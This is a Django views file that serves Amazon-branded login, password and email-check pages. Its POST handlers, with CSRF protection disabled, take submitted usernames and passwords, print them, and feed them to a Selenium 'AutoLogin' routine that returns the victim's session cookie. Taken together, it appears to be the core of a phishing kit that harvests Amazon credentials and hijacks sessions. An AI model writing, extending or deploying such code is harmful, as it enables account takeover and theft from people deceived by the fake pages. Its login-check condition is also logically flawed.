import json
from django.http import HttpResponse
from django.shortcuts import render, redirect
from django.middleware.csrf import get_token
from django.urls import reverse
from django.utils.decorators import method_decorator
from django.views import View
from django.views.decorators.csrf import csrf_exempt

# Create your views here.
from AutoLogin.AutoLogin import AutoLogin



class Index(View):
    def get(self,request):
        return render(request, 'amazon-index.html')



class Password(View):
    def get(self, request, username):
        print(username)
        content = {
            'username':username,
        }
        return render(request, 'amazon-password.html', context=content)


@method_decorator(csrf_exempt, name='dispatch')

class DoLogin(View):
    def get(self, request):
        return redirect(reverse('auto_login:index'))
    def post(self, request):
        print(request)
        username = request.POST.get('username')
        password = request.POST.get('password')
        if username or password is not None:
            A = AutoLogin()
            cookie = A.Selenium(username, password)
            return HttpResponse(cookie)
        else:
            return HttpResponse("404")



class CheckEmail(View):
    def get(self,request):
        return render(request, 'amazon-check-email.html')


@method_decorator(csrf_exempt, name='dispatch')

class Test(View):
    def get(self,request):
        return render(request, 'test.html')
    def post(self, request):
        username = request.POST.get('username')
        password = request.POST.get('password')
        print(username)
        print(password)
        if username == "" or password == "":
            return HttpResponse("404")
        if username or password is not None:
            A = AutoLogin()
            cookie = A.Selenium(username, password)
            return HttpResponse(cookie)
        else:
            return HttpResponse("404")



class TempTest(View):
    def get(self,request):
        return render(request,'amazon-index-test.html')